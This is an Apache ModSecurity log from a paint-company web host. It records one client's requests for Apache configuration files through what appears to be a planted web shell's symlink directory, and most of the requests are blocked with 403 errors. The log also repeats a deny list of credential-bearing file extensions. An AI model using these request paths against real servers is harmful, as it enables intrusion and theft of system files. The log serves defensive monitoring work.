[Sun Oct 25 14:29:38.304287 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52367] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/cperror.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhAAAAAo"]
[Sun Oct 25 14:29:38.304856 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52370] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLAAAAA8"]
[Sun Oct 25 14:29:38.305077 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLAAAAA8"]
[Sun Oct 25 14:29:38.305355 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLAAAAA8"]
[Sun Oct 25 14:29:38.317352 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52373] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "at5KkiEQblycZeXKbm74jAAAAAU"]
[Sun Oct 25 14:29:38.317569 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52373] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "at5KkiEQblycZeXKbm74jAAAAAU"]
[Sun Oct 25 14:29:38.317813 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52373] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "at5KkiEQblycZeXKbm74jAAAAAU"]
[Sun Oct 25 14:29:38.321114 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52372] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLwAAAAI"]
[Sun Oct 25 14:29:38.321319 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLwAAAAI"]
[Sun Oct 25 14:29:38.321561 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLwAAAAI"]
[Sun Oct 25 14:29:38.356715 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52374] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5KkkYY36dVli09oOhVWgAAAAw"]
[Sun Oct 25 14:29:38.357031 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52374] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5KkkYY36dVli09oOhVWgAAAAw"]
[Sun Oct 25 14:29:38.357310 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52374] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5KkkYY36dVli09oOhVWgAAAAw"]
[Sun Oct 25 14:29:38.405798 2026] [ssl:error] [pid 2879798:tid 2879798] (70014)End of file found: [client 34.199.252.22:25801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:38.447568 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52376] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at5KkmT7SK5esjpOWSjqqwAAABY"]
[Sun Oct 25 14:29:38.447891 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at5KkmT7SK5esjpOWSjqqwAAABY"]
[Sun Oct 25 14:29:38.448143 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at5KkmT7SK5esjpOWSjqqwAAABY"]
[Sun Oct 25 14:29:38.524353 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52408] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFAAAAAA"]
[Sun Oct 25 14:29:38.524738 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFAAAAAA"]
[Sun Oct 25 14:29:38.525037 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFAAAAAA"]
[Sun Oct 25 14:29:38.548495 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52418] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUgAAAAE"]
[Sun Oct 25 14:29:38.548862 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52418] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUgAAAAE"]
[Sun Oct 25 14:29:38.549112 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52418] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUgAAAAE"]
[Sun Oct 25 14:29:38.568242 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52420] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/110_mod_autoindex.conf"] [unique_id "at5KkhH5LAgtrvBIlo320wAAABU"]
[Sun Oct 25 14:29:38.568496 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/110_mod_autoindex.conf"] [unique_id "at5KkhH5LAgtrvBIlo320wAAABU"]
[Sun Oct 25 14:29:38.568762 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/110_mod_autoindex.conf"] [unique_id "at5KkhH5LAgtrvBIlo320wAAABU"]
[Sun Oct 25 14:29:38.580420 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52426] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojAAAAA4"]
[Sun Oct 25 14:29:38.580640 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojAAAAA4"]
[Sun Oct 25 14:29:38.580894 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojAAAAA4"]
[Sun Oct 25 14:29:38.606944 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52425] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhgAAAAo"]
[Sun Oct 25 14:29:38.607185 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52425] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhgAAAAo"]
